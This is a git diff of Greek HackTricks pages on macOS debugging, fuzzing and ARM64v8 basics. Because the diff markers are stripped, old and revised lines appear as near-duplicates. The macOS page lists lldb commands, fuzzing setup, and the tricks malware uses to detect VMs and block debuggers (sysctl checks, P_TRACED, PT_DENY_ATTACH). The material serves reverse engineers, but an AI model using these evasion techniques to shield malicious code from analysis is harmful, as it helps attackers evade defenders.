Χρησιμοποιείται για προφίλινγκ σε επίπεδο πυρήνα και κατασκευάζεται χρησιμοποιώντας κλήσεις `Kdebug`.
Βασικά, ελέγχεται η καθολική μεταβλητή `kernel_debug_active` και αν είναι ορισμένη καλεί την `kperf_kdebug_handler` με τον κώδικα `Kdebug` και τη διεύθυνση του πυρήνα που καλεί. Αν ο κώδικας `Kdebug` ταιριάζει με έναν επιλεγμένο, αποκτά τις "ενέργειες" που έχουν διαμορφωθεί ως bitmap (ελέγξτε τις επιλογές στο `osfmk/kperf/action.h`).
Βασικά, ελέγχεται η καθολική μεταβλητή `kernel_debug_active` και αν είναι ενεργή, καλεί την `kperf_kdebug_handler` με τον κώδικα `Kdebug` και τη διεύθυνση του πυρήνα που καλείται. Αν ο κώδικας `Kdebug` ταιριάζει με έναν επιλεγμένο, λαμβάνει τις "ενέργειες" που έχουν διαμορφωθεί ως bitmap (ελέγξτε τις επιλογές στο `osfmk/kperf/action.h`).
Το Kperf έχει επίσης έναν πίνακα MIB sysctl: (ως ριζικός χρήστης) `sysctl kperf`. Αυτός ο κώδικας μπορεί να βρεθεί στο `osfmk/kperf/kperfbsd.c`.
@ -438,10 +440,6 @@ ktrace trace -s -S -t c -c ls | grep "ls("
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) είναι μέρος των εργαλείων Ανάπτυξης του Xcode - χρησιμοποιούνται για την παρακολούθηση της απόδοσης εφαρμογών, την εντοπισμό διαρροών μνήμης και την παρακολούθηση της δραστηριότητας του συστήματος αρχείων.
![](<../../../.gitbook/assets/image (1138).png>)
### fs\_usage
Επιτρέπει να παρακολουθείτε τις ενέργειες που εκτελούνται από διεργασίες:
```bash
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
fs_usage -w -f network curl #This tracks network actions
@ -453,7 +451,7 @@ fs_usage -w -f network curl #This tracks network actions
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
Σε [**αυτή την ανάρτηση στο blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) μπορείτε να βρείτε ένα παράδειγμα σχετικά με το πώς να **εκτελέσετε αποσφαλμάτωση σε έναν τρέχοντα daemon** που χρησιμοποιεί το **`PT_DENY_ATTACH`** για να αποτρέψει την αποσφαλμάτωση ακόμα κι αν το SIP ήταν απενεργοποιημένο.
Σε [**αυτή την ανάρτηση στο blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) μπορείτε να βρείτε ένα παράδειγμα σχετικά με το πώς να **εκτελέσετε αποσφαλμάτωση σε έναν τρέχοντα daemon** που χρησιμοποίησε το **`PT_DENY_ATTACH`** για να αποτρέψει την αποσφαλμάτωση ακόμα κι αν το SIP ήταν απενεργοποιημένο.
### lldb
@ -464,7 +462,7 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
Μπορείτε να ορίσετε το intel flavor όταν χρησιμοποιείτε το lldb δημιουργώντας ένα αρχείο με το όνομα **`.lldbinit`** στον φάκελο του αρχικού σας χρήστη με την παρακάτω γραμμή:
Μπορείτε να ορίσετε το intel flavour όταν χρησιμοποιείτε το lldb δημιουργώντας ένα αρχείο με το όνομα **`.lldbinit`** στον φάκελο του αρχικού σας χρήστη με την παρακάτω γραμμή:
```bash
settings set target.x86-disassembly-flavor intel
```
@ -472,7 +470,7 @@ settings set target.x86-disassembly-flavor intel
Μέσα στο lldb, κάντε dump ενός διεργασίας με την εντολή `process save-core`
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Εντολή</strong></td><td><strong>Περιγραφή</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Έναρξη εκτέλεσης, η οποία θα συνεχιστεί μέχρι να εντοπιστεί ένα σημείο διακοπής ή να τερματιστεί η διεργασία.</td></tr><tr><td><strong>continue (c)</strong></td><td>Συνέχιση εκτέλεσης της διαγραφόμενης διεργασίας.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Εκτέλεση της επόμενης εντολής. Αυτή η εντολή θα παραλείψει τις κλήσεις συναρτήσεων.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Εκτέλεση της επόμενης εντολής. Αντίθετα με την εντολή nexti, αυτή η εντολή θα μπει στις κλήσεις συναρτήσεων.</td></tr><tr><td><strong>finish (f)</strong></td><td>Εκτέλεση των υπόλοιπων εντολών στην τρέχουσα συνάρτηση ("frame") επιστροφή και διακοπή.</td></tr><tr><td><strong>control + c</strong></td><td>Παύση εκτέλεσης. Αν η διεργασία έχει τρέξει (r) ή συνεχίσει (c), αυτό θα προκαλέσει τη διακοπή της διεργασίας ...όπου εκτελείται αυτή τη στιγμή.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Οποιαδήποτε συνάρτηση με το όνομα main</p><p>b &#x3C;binname>`main #Κύρια συνάρτηση του αρχείου</p><p>b set -n main --shlib &#x3C;lib_name> #Κύρια συνάρτηση του συγκεκριμένου αρχείου</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Λίστα σημείων διακοπής</p><p>br e/dis &#x3C;num> #Ενεργοποίηση/Απενεργοποίηση σημείου διακοπής</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Λήψη βοήθειας για την εντολή διακοπής</p><p>help memory write #Λήψη βοήθειας για εγγραφή στη μνήμη</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως συμβολοσειρά που τερματίζεται με μηδενικό.</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως εντολή συναρμολόγησης.</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Αυτό θα εκτυπώσει το αντικείμενο που αναφέρεται από την παράμετρο</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Σημειώστε ότι οι περισσότερες Objective-C APIs ή μέθοδοι της Apple επιστρέφουν αντικείμενα και έτσι θα πρέπει να εμφανίζονται μέσω της εντολής "εκτύπωση αντικειμένου" (po). Αν το po δεν παράγει ένα νόημα χρησιμοποιήστε <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Εγγραφή AAAA σε αυτή τη διεύθυνση<br>memory write -f s $rip+0x11f+7 "AAAA" #Εγγραφή AAAA στη διεύθυνση</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Αποσυναρμολόγηση της τρέχουσας συνάρτησης</p><p>dis -n &#x3C;funcname> #Αποσυναρμολόγηση συνάρτησης</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Αποσυναρμολόγηση συνάρτησης<br>dis -c 6 #Αποσυναρμολόγηση 6 γραμμών<br>dis -c 0x100003764 -e 0x100003768 # Από μια διεύθυνση μέχρι την άλλη<br>dis -p -c 4 # Έναρξη αποσυναρμολόγησης στην τρέχουσα διεύθυνση</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Έλεγχος πίνακα με 3 στοιχεία στο reg x1</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Εντολή</strong></td><td><strong>Περιγραφή</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Έναρξη εκτέλεσης, η οποία θα συνεχιστεί μέχρι να εντοπιστεί ένα breakpoint ή να τερματιστεί η διεργασία.</td></tr><tr><td><strong>continue (c)</strong></td><td>Συνέχιση εκτέλεσης της διαδικασίας που ελέγχεται.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Εκτέλεση της επόμενης εντολής. Αυτή η εντολή θα παραλείψει τις κλήσεις συναρτήσεων.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Εκτέλεση της επόμενης εντολής. Αντίθετα με την εντολή nexti, αυτή η εντολή θα μπει στις κλήσεις συναρτήσεων.</td></tr><tr><td><strong>finish (f)</strong></td><td>Εκτέλεση των υπόλοιπων εντολών στην τρέχουσα συνάρτηση ("frame") και διακοπή.</td></tr><tr><td><strong>control + c</strong></td><td>Παύση της εκτέλεσης. Αν η διεργασία έχει τρέξει (r) ή συνεχίσει (c), αυτό θα προκαλέσει τη διακοπή της διεργασίας ...όπου εκτελείται αυτή τη στιγμή.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Οποιαδήποτε συνάρτηση με το όνομα main</p><p>b &#x3C;binname>`main #Κύρια συνάρτηση του αρχείου</p><p>b set -n main --shlib &#x3C;lib_name> #Κύρια συνάρτηση του συγκεκριμένου αρχείου</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Λίστα breakpoint</p><p>br e/dis &#x3C;num> #Ενεργοποίηση/Απενεργοποίηση breakpoint</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Λήψη βοήθειας για την εντολή breakpoint</p><p>help memory write #Λήψη βοήθειας για εγγραφή στη μνήμη</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως συμβολοσειρά που τερματίζεται με μηδενικό.</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως εντολή συναρμολόγησης.</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>Εμφάνιση της μνήμης ως byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Αυτό θα εκτυπώσει το αντικείμενο που αναφέρεται από την παράμετρο</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Σημειώστε ότι οι περισσότερες Objective-C APIs ή μέθοδοι της Apple επιστρέφουν αντικείμενα και έτσι θα πρέπει να εμφανίζονται μέσω της εντολής "print object" (po). Αν το po δεν παράγει ένα νόημα χρησιμοποιήστε <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Εγγραφή AAAA σε αυτή τη διεύθυνση<br>memory write -f s $rip+0x11f+7 "AAAA" #Εγγραφή AAAA στη διεύθυνση</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Αποσυναρμολόγηση της τρέχουσας συνάρτησης</p><p>dis -n &#x3C;funcname> #Αποσυναρμολόγηση συνάρτησης</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Αποσυναρμολόγηση συνάρτησης<br>dis -c 6 #Αποσυναρμολόγηση 6 γραμμών<br>dis -c 0x100003764 -e 0x100003768 # Από μια διεύθυνση μέχρι την άλλη<br>dis -p -c 4 # Έναρξη αποσυναρμολόγησης στην τρέχουσα διεύθυνση</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Έλεγχος πίνακα με 3 στοιχεία στο reg x1</td></tr></tbody></table>
{% hint style="info" %}
Κατά την κλήση της συνάρτησης **`objc_sendMsg`**, το register **rsi** κρατά το **όνομα της μεθόδου** ως συμβολοσειρά που τερματίζεται με μηδενικό ("C"). Για να εκτυπώσετε το όνομα μέσω του lldb:
@ -489,22 +487,22 @@ settings set target.x86-disassembly-flavor intel
#### Ανίχνευση Εικονικών Μηχανών
* Η εντολή **`sysctl hw.model`** επιστρέφει "Mac" όταν ο **host είναι MacOS** αλλά κάτι διαφορετικό όταν είναι μια Εικονική Μηχανή.
* Παίζοντας με τις τιμές των **`hw.logicalcpu`** και **`hw.physicalcpu`** κάποια malware προσπαθούν να ανιχνεύσουν αν είναι μια Εικονική Μηχανή.
* Κάποια malware μπορεί επίσης να **ανιχνεύσει** αν η μηχανή είναι βασισμένη σε **VMware** βάσει της διεύθυνσης MAC (00:50:56).
* Η εντολή **`sysctl hw.model`** επιστρέφει "Mac" όταν ο **host είναι MacOS** αλλά κάτι διαφορετικό όταν είναι VM.
* Παίζοντας με τις τιμές των **`hw.logicalcpu`** και **`hw.physicalcpu`** κάποια malware προσπαθούν να ανιχνεύσουν αν είναι VM.
* Κάποια malware μπορεί επίσης να **ανιχνεύσει** αν η μηχανή είναι βασισμένη σε VMware με βάση τη διεύθυνση MAC (00:50:56).
* Είναι επίσης δυνατό να βρεθεί αν μια διεργασία βρίσκεται υπό αποσφαλμάτωση με έναν απλό κώδικα όπως:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //διεργασία υπό αποσφαλμάτωση }`
* Μπορεί επίσης να καλέσει την κλήση συστήματος **`ptrace`** με τη σημαία **`PT_DENY_ATTACH`**. Αυτό **εμποδίζει** έναν αποσφαλματωτή από το να συνδεθεί και να καταγράψει.
* Μπορείτε να ελέγξετε αν η συνάρτηση **`sysctl`** ή **`ptrace`** είναι **εισαγμένη** (αλλά το malware θα μπορούσε να την εισάγει δυναμικά)
* Όπως αναφέρεται σε αυτήν την ανάλυση, “[Νίκη εναντίον Αντι-Ανάλυσης: macOS παραλλαγές ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Το μήνυμα Η Διεργασία # τερμάτισε με **κατάσταση = 45 (0x0000002d)** είναι συνήθως ένα σημάδι ότι ο στόχος αποσφαλμάτωσης χρησιμοποιεί το **PT\_DENY\_ATTACH**_”
* Όπως αναφέρεται σε αυτό το άρθρο, “[Νίκη εναντίον Τεχνικών Αντι-Αποσφαλμάτωσης: macOS παραλλαγές ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Το μήνυμα Η Διεργασία # τερματίστηκε με **κατάσταση = 45 (0x0000002d)** είναι συνήθως ένα σημάδι ότι ο στόχος αποσφαλμάτωσης χρησιμοποιεί το **PT\_DENY\_ATTACH**_”
## Core Dumps
Τα core dumps δημιουργούνται αν:
- Το `kern.coredump` sysctl έχει οριστεί σε 1 (από προεπιλογή)
- Αν η διαδικασία δεν ήταν suid/sgid ή το `kern.sugid_coredump` είναι 1 (από προεπιλογή είναι 0)
- Το όριο `AS_CORE` επιτρέπει τη λειτουργία. Είναι δυνατόν να ανασταλεί η δημιουργία core dumps καλώντας `ulimit -c 0` και να επαναφερθεί με `ulimit -c unlimited`.
- Το όριο `AS_CORE` επιτρέπει τη λειτουργία. Είναι δυνατόν να αναστείλετε τη δημιουργία core dumps καλώντας `ulimit -c 0` και να τα ενεργοποιήσετε ξανά με `ulimit -c unlimited`.
Σε αυτές τις περιπτώσεις τα core dumps δημιουργούνται σύμφωνα με το `kern.corefile` sysctl και αποθηκεύονται συνήθως στο `/cores/core/.%P`.
@ -528,7 +526,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
```
### Υπνος
Κατά την εκτέλεση fuzzing σε ένα MacOS είναι σημαντικό να μην επιτραπεί στο Mac να μπει σε κατάσταση ύπνου:
Κατά την εκτέλεση fuzzing σε ένα MacOS είναι σημαντικό να μην επιτραπεί στο Mac να κοιμηθεί:
* systemsetup -setsleep Never
* pmset, System Preferences
@ -536,7 +534,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
#### Διακοπή SSH
Εάν εκτελείτε fuzzing μέσω μιας σύνδεσης SSH, είναι σημαντικό να βεβαιωθείτε ότι η συνεδρία δεν θα λήξει. Επομένως, αλλάξτε το αρχείο sshd\_config με:
Εάν εκτελείτε fuzzing μέσω μιας σύνδεσης SSH, είναι σημαντικό να βεβαιωθείτε ότι η συνεδρία δεν θα λήξει. Έτσι, αλλάξτε το αρχείο sshd\_config με:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -547,7 +545,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Εσωτερικοί Χειριστές
**Ελέγξτε την ακόλουθη σελίδα** για να μάθετε πώς μπορείτε να βρείτε ποια εφαρμογή είναι υπεύθυνη για την **χειρισμό του συγκεκριμένου σχήματος ή πρωτοκόλλου:**
**Ελέγξτε την παρακάτω σελίδα** για να μάθετε πώς μπορείτε να βρείτε ποια εφαρμογή είναι υπεύθυνη για **τη χειρισμό του συγκεκριμένου σχήματος ή πρωτοκόλλου:**
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
@ -578,11 +576,11 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
Λειτουργεί για εργαλεία γραμμής εντολών
Λειτουργεί για εργαλεία CLI
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Λειτουργεί με εργαλεία γραφικού περιβάλλοντος του macOS. Σημειώστε ότι μερικές εφαρμογές macOS έχουν συγκεκριμένες απαιτήσεις όπως μοναδικά ονόματα αρχείων, τη σωστή επέκταση, ανάγκη ανάγνωσης αρχείων από το χώρο ασφαλείας (`~/Library/Containers/com.apple.Safari/Data`)...
Λειτουργεί με εργαλεία GUI του macOS. Σημειώστε ότι μερικές εφαρμογές macOS έχουν συγκεκριμένες απαιτήσεις όπως μοναδικά ονόματα αρχείων, τη σωστή επέκταση, ανάγκη ανάγνωσης αρχείων από το sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Μερικά παραδείγματα:
@ -630,24 +628,25 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των ληστειών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των ληστειών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Εισαγωγή στο ARM64v8
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## **Επίπεδα Εξαιρέσεων - EL (ARM64v8)**
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από EL0 έως EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από το EL0 έως το EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:
1. **EL0 - Λειτουργία Χρήστη**:
* Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
* Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες μεταξύ τους και από το λογισμικό συστήματος, βελτιώνοντας την ασφάλεια και τη σταθερότητα.
2. **EL1 - Λειτουργικό Σύστημα Πυρήνα**:
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων τρέχουν σε αυτό το επίπεδο.
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων λειτουργούν σε αυτό το επίπεδο.
* Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
3. **EL2 - Λειτουργία Υπερτροφοδοτητή**:
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που τρέχει στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που τρέχουν στον ίδιο φυσικό υλικό.
* Το EL2 παρέχει χαρακτηριστικά για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που λειτουργεί στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που λειτουργούν στον ίδιο φυσικό υλικό.
* Το EL2 παρέχει χαρακτηριστικά για την απομόνωση και τον έλεγχο των εικονικών περιβαλλόντων.
4. **EL3 - Λειτουργία Ασφαλούς Παρακολούθησης**:
* Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορεί να εμπιστευτεί.
* Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορούν να εμπιστευτούν.
* Το EL3 μπορεί να διαχειριστεί και να ελέγξει τις προσβάσεις μεταξύ ασφαλών και μη-ασφαλών καταστάσεων (όπως ασφαλή εκκίνηση, αξιόπιστο λειτουργικό σύστημα κλπ.).
Η χρήση αυτών των επιπέδων επιτρέπει έναν δομημένο και ασφαλή τρόπο διαχείρισης διαφορετικών πτυχών του συστήματος, από εφαρμογές χρηστών έως το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην απομόνωση διαφορετικών συστατικών του συστήματος, βελτιώνοντας έτσι την ασφάλεια και την ανθεκτικότητα του συστήματος.
Η χρήση αυτών των επιπέδων επιτρέπει τη δομημένη και ασφαλή διαχείριση διαφορετικών πτυχών του συστήματος, από εφαρμογές χρηστών έως το πιο προνομιούχο λογισμικό συστήματος. Η προσέγγιση της ARMv8 στα επίπεδα προνομίων βοηθά στην απομόνωση διαφορετικών συστατικών του συστήματος με αποτέλεσμα την ενίσχυση της ασφάλειας και της ανθεκτικότητας του συστήματος.
## **Καταχωρητές (ARM64v8)**
@ -43,30 +44,30 @@
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
4. **`x16`** και **`x17`** - **Καταχωρητές Κλήσης Εντός-Διαδικασίας**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για άμεσες κλήσεις συναρτήσεων και στοιχεία PLT (Procedure Linkage Table).
* Το **`x16`** χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή **`svc`** στο **macOS**.
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι κρατημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή της τρέχουσας εργασίας στον πυρήνα του Linux.
